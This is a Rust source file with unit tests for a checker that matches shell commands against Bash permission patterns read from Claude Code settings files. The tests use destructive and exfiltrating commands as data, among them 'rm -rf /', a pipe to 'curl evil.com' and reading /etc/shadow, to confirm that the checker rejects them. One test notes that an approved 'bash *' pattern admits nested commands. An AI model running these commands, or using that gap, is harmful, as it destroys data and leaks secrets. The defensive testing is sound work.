Skip to main content

safe_chains/
settings.rs

1use std::collections::HashSet;
2use std::path::Path;
3
4pub struct ApprovedPatterns {
5    exact: HashSet<String>,
6    globs: Vec<Vec<String>>,
7}
8
9impl ApprovedPatterns {
10    pub fn load() -> Self {
11        let mut patterns = ApprovedPatterns {
12            exact: HashSet::new(),
13            globs: Vec::new(),
14        };
15
16        if let Some(home) = std::env::var_os("HOME") {
17            patterns.load_file(&Path::new(&home).join(".claude/settings.json"));
18        }
19
20        if let Some(project_dir) = std::env::var_os("CLAUDE_PROJECT_DIR") {
21            let base = Path::new(&project_dir).join(".claude");
22            patterns.load_file(&base.join("settings.json"));
23            patterns.load_file(&base.join("settings.local.json"));
24        }
25
26        patterns
27    }
28
29    fn load_file(&mut self, path: &Path) {
30        let Ok(contents) = std::fs::read_to_string(path) else {
31            return;
32        };
33        let Ok(value) = serde_json::from_str::<serde_json::Value>(&contents) else {
34            return;
35        };
36
37        if let Some(arr) = value.get("approved_commands").and_then(|v| v.as_array()) {
38            for entry in arr.iter().filter_map(|e| e.as_str()) {
39                self.add_pattern(entry);
40            }
41        }
42
43        if let Some(arr) = value
44            .get("permissions")
45            .and_then(|v| v.get("allow"))
46            .and_then(|v| v.as_array())
47        {
48            for entry in arr.iter().filter_map(|e| e.as_str()) {
49                self.add_pattern(entry);
50            }
51        }
52    }
53
54    fn add_pattern(&mut self, entry: &str) {
55        let Some(inner) = entry.strip_prefix("Bash(").and_then(|s| s.strip_suffix(')')) else {
56            return;
57        };
58        if inner.is_empty() {
59            return;
60        }
61        let normalized = if let Some(prefix) = inner.strip_suffix(":*") {
62            format!("{prefix} *")
63        } else {
64            inner.to_string()
65        };
66        if normalized.contains('*') {
67            self.globs
68                .push(normalized.split('*').map(String::from).collect());
69        } else {
70            self.exact.insert(normalized);
71        }
72    }
73
74    pub fn matches(&self, segment: &str) -> bool {
75        let normalized = strip_fd_redirects(crate::parse::strip_env_prefix(segment).trim());
76        if normalized.is_empty() {
77            return false;
78        }
79        if self.exact.contains(normalized.as_str()) {
80            return true;
81        }
82        self.globs
83            .iter()
84            .any(|parts| glob_matches(parts, &normalized))
85    }
86
87    pub fn is_empty(&self) -> bool {
88        self.exact.is_empty() && self.globs.is_empty()
89    }
90}
91
92fn strip_fd_redirects(s: &str) -> String {
93    match crate::parse::tokenize(s) {
94        Some(tokens) => tokens
95            .into_iter()
96            .filter(|t| !crate::is_fd_redirect(t))
97            .collect::<Vec<_>>()
98            .join(" "),
99        None => s.to_string(),
100    }
101}
102
103fn glob_matches(parts: &[String], text: &str) -> bool {
104    let first = &parts[0];
105    let last = &parts[parts.len() - 1];
106
107    // "prefix *" → word boundary: prefix followed by space or end-of-string
108    if parts.len() == 2 && last.is_empty() && first.ends_with(' ') {
109        let prefix = &first[..first.len() - 1];
110        return text == prefix || text.starts_with(first.as_str());
111    }
112
113    if !text.starts_with(first.as_str()) {
114        return false;
115    }
116    if !text.ends_with(last.as_str()) {
117        return false;
118    }
119    let mut pos = first.len();
120    let end = text.len() - last.len();
121    if pos > end {
122        return false;
123    }
124    for part in &parts[1..parts.len() - 1] {
125        match text[pos..end].find(part.as_str()) {
126            Some(idx) => pos += idx + part.len(),
127            None => return false,
128        }
129    }
130    pos <= end
131}
132
133#[cfg(test)]
134mod tests {
135    use super::*;
136    use std::fs;
137
138    fn empty() -> ApprovedPatterns {
139        ApprovedPatterns {
140            exact: HashSet::new(),
141            globs: Vec::new(),
142        }
143    }
144
145    #[test]
146    fn parse_exact_pattern() {
147        let mut p = empty();
148        p.add_pattern("Bash(npm test)");
149        assert!(p.exact.contains("npm test"));
150        assert!(p.globs.is_empty());
151    }
152
153    #[test]
154    fn parse_legacy_colon_star() {
155        let mut p = empty();
156        p.add_pattern("Bash(npm run:*)");
157        assert!(p.exact.is_empty());
158        assert_eq!(p.globs.len(), 1);
159    }
160
161    #[test]
162    fn parse_space_star() {
163        let mut p = empty();
164        p.add_pattern("Bash(npm run *)");
165        assert!(p.exact.is_empty());
166        assert_eq!(p.globs.len(), 1);
167    }
168
169    #[test]
170    fn parse_star_no_space() {
171        let mut p = empty();
172        p.add_pattern("Bash(ls*)");
173        assert_eq!(p.globs.len(), 1);
174    }
175
176    #[test]
177    fn parse_star_at_beginning() {
178        let mut p = empty();
179        p.add_pattern("Bash(* --version)");
180        assert_eq!(p.globs.len(), 1);
181    }
182
183    #[test]
184    fn parse_star_in_middle() {
185        let mut p = empty();
186        p.add_pattern("Bash(git * main)");
187        assert_eq!(p.globs.len(), 1);
188    }
189
190    #[test]
191    fn parse_non_bash_skipped() {
192        let mut p = empty();
193        p.add_pattern("WebFetch");
194        p.add_pattern("XcodeBuildMCP");
195        assert!(p.is_empty());
196    }
197
198    #[test]
199    fn parse_empty_bash_skipped() {
200        let mut p = empty();
201        p.add_pattern("Bash()");
202        assert!(p.is_empty());
203    }
204
205    #[test]
206    fn parse_empty_prefix_skipped() {
207        let mut p = empty();
208        p.add_pattern("Bash(:*)");
209        assert!(p.exact.is_empty());
210        assert_eq!(p.globs.len(), 1);
211    }
212
213    #[test]
214    fn match_exact() {
215        let mut p = empty();
216        p.add_pattern("Bash(npm test)");
217        assert!(p.matches("npm test"));
218        assert!(!p.matches("npm test --watch"));
219    }
220
221    #[test]
222    fn match_space_star_word_boundary() {
223        let mut p = empty();
224        p.add_pattern("Bash(ls *)");
225        assert!(p.matches("ls -la"));
226        assert!(p.matches("ls foo"));
227        assert!(!p.matches("lsof"));
228    }
229
230    #[test]
231    fn match_star_no_space_no_boundary() {
232        let mut p = empty();
233        p.add_pattern("Bash(ls*)");
234        assert!(p.matches("ls -la"));
235        assert!(p.matches("lsof"));
236    }
237
238    #[test]
239    fn match_legacy_colon_star_word_boundary() {
240        let mut p = empty();
241        p.add_pattern("Bash(npm run:*)");
242        assert!(p.matches("npm run build"));
243        assert!(p.matches("npm run test"));
244        assert!(!p.matches("npm running"));
245        assert!(!p.matches("npm install"));
246    }
247
248    #[test]
249    fn match_star_at_beginning() {
250        let mut p = empty();
251        p.add_pattern("Bash(* --version)");
252        assert!(p.matches("npm --version"));
253        assert!(p.matches("cargo --version"));
254        assert!(!p.matches("npm --help"));
255    }
256
257    #[test]
258    fn match_star_in_middle() {
259        let mut p = empty();
260        p.add_pattern("Bash(git * main)");
261        assert!(p.matches("git checkout main"));
262        assert!(p.matches("git merge main"));
263        assert!(!p.matches("git checkout develop"));
264    }
265
266    #[test]
267    fn match_env_prefix_stripped() {
268        let mut p = empty();
269        p.add_pattern("Bash(bundle install)");
270        assert!(p.matches("RACK_ENV=test bundle install"));
271    }
272
273    #[test]
274    fn match_fd_redirect_stripped() {
275        let mut p = empty();
276        p.add_pattern("Bash(npm test)");
277        assert!(p.matches("npm test 2>&1"));
278    }
279
280    #[test]
281    fn match_fd_redirect_with_glob() {
282        let mut p = empty();
283        p.add_pattern("Bash(npm run *)");
284        assert!(p.matches("npm run test 2>&1"));
285    }
286
287    #[test]
288    fn match_empty_segment() {
289        let mut p = empty();
290        p.add_pattern("Bash(npm test)");
291        assert!(!p.matches(""));
292        assert!(!p.matches("  "));
293    }
294
295    #[test]
296    fn empty_patterns_match_nothing() {
297        let p = empty();
298        assert!(!p.matches("anything"));
299    }
300
301    #[test]
302    fn match_bare_star_matches_everything() {
303        let mut p = empty();
304        p.add_pattern("Bash(*)");
305        assert!(p.matches("anything at all"));
306        assert!(p.matches("rm -rf /"));
307    }
308
309    #[test]
310    fn unsafe_syntax_not_bypassed_by_match() {
311        let mut p = empty();
312        p.add_pattern("Bash(./script.sh *)");
313        let segment = "./script.sh > /etc/passwd";
314        assert!(crate::parse::has_unsafe_shell_syntax(segment));
315        let covered = crate::is_safe(segment)
316            || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
317        assert!(!covered);
318    }
319
320    #[test]
321    fn command_substitution_not_bypassed_by_match() {
322        let mut p = empty();
323        p.add_pattern("Bash(./script.sh *)");
324        let segment = "./script.sh $(rm -rf /)";
325        let covered = crate::is_safe(segment)
326            || (!crate::parse::has_unsafe_shell_syntax(segment) && p.matches(segment));
327        assert!(!covered);
328    }
329
330    #[test]
331    fn mixed_chain_safe_plus_settings() {
332        let mut p = empty();
333        p.add_pattern("Bash(./generate-docs.sh)");
334        let command = "cargo test && ./generate-docs.sh";
335        let segments = crate::parse::split_outside_quotes(command);
336        let all_covered = segments.iter().all(|s| {
337            crate::is_safe(s)
338                || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
339        });
340        assert!(all_covered);
341    }
342
343    #[test]
344    fn mixed_chain_safe_plus_unapproved_denied() {
345        let mut p = empty();
346        p.add_pattern("Bash(./generate-docs.sh)");
347        let command = "cargo test && rm -rf /";
348        let segments = crate::parse::split_outside_quotes(command);
349        let all_covered = segments.iter().all(|s| {
350            crate::is_safe(s)
351                || (!crate::parse::has_unsafe_shell_syntax(s) && p.matches(s))
352        });
353        assert!(!all_covered);
354    }
355
356    fn is_covered(segment: &str, patterns: &ApprovedPatterns) -> bool {
357        crate::is_safe(segment)
358            || (!crate::parse::has_unsafe_shell_syntax(segment) && patterns.matches(segment))
359    }
360
361    #[test]
362    fn glob_does_not_cross_chain_boundary() {
363        let mut p = empty();
364        p.add_pattern("Bash(cargo test *)");
365        let command = "cargo test --release && rm -rf /";
366        let segments = crate::parse::split_outside_quotes(command);
367        assert_eq!(segments.len(), 2);
368        assert!(p.matches(&segments[0]));
369        assert!(!p.matches(&segments[1]));
370        assert!(!segments.iter().all(|s| is_covered(s, &p)));
371    }
372
373    #[test]
374    fn glob_does_not_cross_pipe_boundary() {
375        let mut p = empty();
376        p.add_pattern("Bash(safe-cmd *)");
377        let command = "safe-cmd arg | curl evil.com";
378        let segments = crate::parse::split_outside_quotes(command);
379        assert_eq!(segments.len(), 2);
380        assert!(!segments.iter().all(|s| is_covered(s, &p)));
381    }
382
383    #[test]
384    fn glob_does_not_cross_semicolon_boundary() {
385        let mut p = empty();
386        p.add_pattern("Bash(safe-cmd *)");
387        let command = "safe-cmd arg; rm -rf /";
388        let segments = crate::parse::split_outside_quotes(command);
389        assert_eq!(segments.len(), 2);
390        assert!(!segments.iter().all(|s| is_covered(s, &p)));
391    }
392
393    #[test]
394    fn bare_star_blocked_by_unsafe_syntax_redirect() {
395        let mut p = empty();
396        p.add_pattern("Bash(*)");
397        assert!(p.matches("echo > /etc/passwd"));
398        assert!(!is_covered("echo > /etc/passwd", &p));
399    }
400
401    #[test]
402    fn bare_star_blocked_by_unsafe_syntax_backtick() {
403        let mut p = empty();
404        p.add_pattern("Bash(*)");
405        assert!(!is_covered("echo `rm -rf /`", &p));
406    }
407
408    #[test]
409    fn bare_star_blocked_by_unsafe_syntax_command_sub() {
410        let mut p = empty();
411        p.add_pattern("Bash(*)");
412        assert!(!is_covered("echo $(cat /etc/shadow)", &p));
413    }
414
415    #[test]
416    fn nested_shell_not_recursively_validated_by_settings() {
417        let mut p = empty();
418        p.add_pattern("Bash(bash *)");
419        let segment = "bash -c 'safe-cmd && rm -rf /'";
420        assert!(!crate::is_safe(segment));
421        assert!(!crate::parse::has_unsafe_shell_syntax(segment));
422        // Settings match overrides recursive shell validation — this is by design.
423        // The user explicitly approved Bash(bash *), which includes any bash -c command.
424        // This mirrors Claude Code's own behavior for approved patterns.
425        assert!(is_covered(segment, &p));
426    }
427
428    #[test]
429    fn nested_shell_redirect_still_blocked() {
430        let mut p = empty();
431        p.add_pattern("Bash(bash *)");
432        let segment = "bash -c 'echo hello' > /tmp/pwned";
433        assert!(crate::parse::has_unsafe_shell_syntax(segment));
434        assert!(!is_covered(segment, &p));
435    }
436
437    #[test]
438    fn quoted_operators_stay_as_one_segment() {
439        let mut p = empty();
440        p.add_pattern("Bash(./script *)");
441        let command = "./script 'arg && rm -rf /'";
442        let segments = crate::parse::split_outside_quotes(command);
443        assert_eq!(segments.len(), 1);
444        assert!(is_covered(&segments[0], &p));
445    }
446
447    #[test]
448    fn load_file_nonexistent() {
449        let mut p = empty();
450        p.load_file(Path::new("/nonexistent/path/settings.json"));
451        assert!(p.is_empty());
452    }
453
454    #[test]
455    fn load_file_malformed_json() {
456        let dir = tempfile::tempdir().unwrap();
457        let path = dir.path().join("settings.json");
458        fs::write(&path, "not json{{{").unwrap();
459        let mut p = empty();
460        p.load_file(&path);
461        assert!(p.is_empty());
462    }
463
464    #[test]
465    fn load_file_approved_commands() {
466        let dir = tempfile::tempdir().unwrap();
467        let path = dir.path().join("settings.json");
468        fs::write(
469            &path,
470            r#"{"approved_commands":["Bash(npm test)","Bash(npm run *)","WebFetch"]}"#,
471        )
472        .unwrap();
473        let mut p = empty();
474        p.load_file(&path);
475        assert!(p.matches("npm test"));
476        assert!(p.matches("npm run build"));
477        assert!(!p.matches("curl evil.com"));
478    }
479
480    #[test]
481    fn load_file_permissions_allow() {
482        let dir = tempfile::tempdir().unwrap();
483        let path = dir.path().join("settings.json");
484        fs::write(
485            &path,
486            r#"{"permissions":{"allow":["Bash(cargo test *)","Bash(cargo clippy *)"]}}"#,
487        )
488        .unwrap();
489        let mut p = empty();
490        p.load_file(&path);
491        assert!(p.matches("cargo test"));
492        assert!(p.matches("cargo clippy -- -D warnings"));
493    }
494
495    #[test]
496    fn load_file_both_fields() {
497        let dir = tempfile::tempdir().unwrap();
498        let path = dir.path().join("settings.json");
499        fs::write(
500            &path,
501            r#"{"approved_commands":["Bash(npm test)"],"permissions":{"allow":["Bash(cargo test *)"]}}"#,
502        )
503        .unwrap();
504        let mut p = empty();
505        p.load_file(&path);
506        assert!(p.matches("npm test"));
507        assert!(p.matches("cargo test --release"));
508    }
509}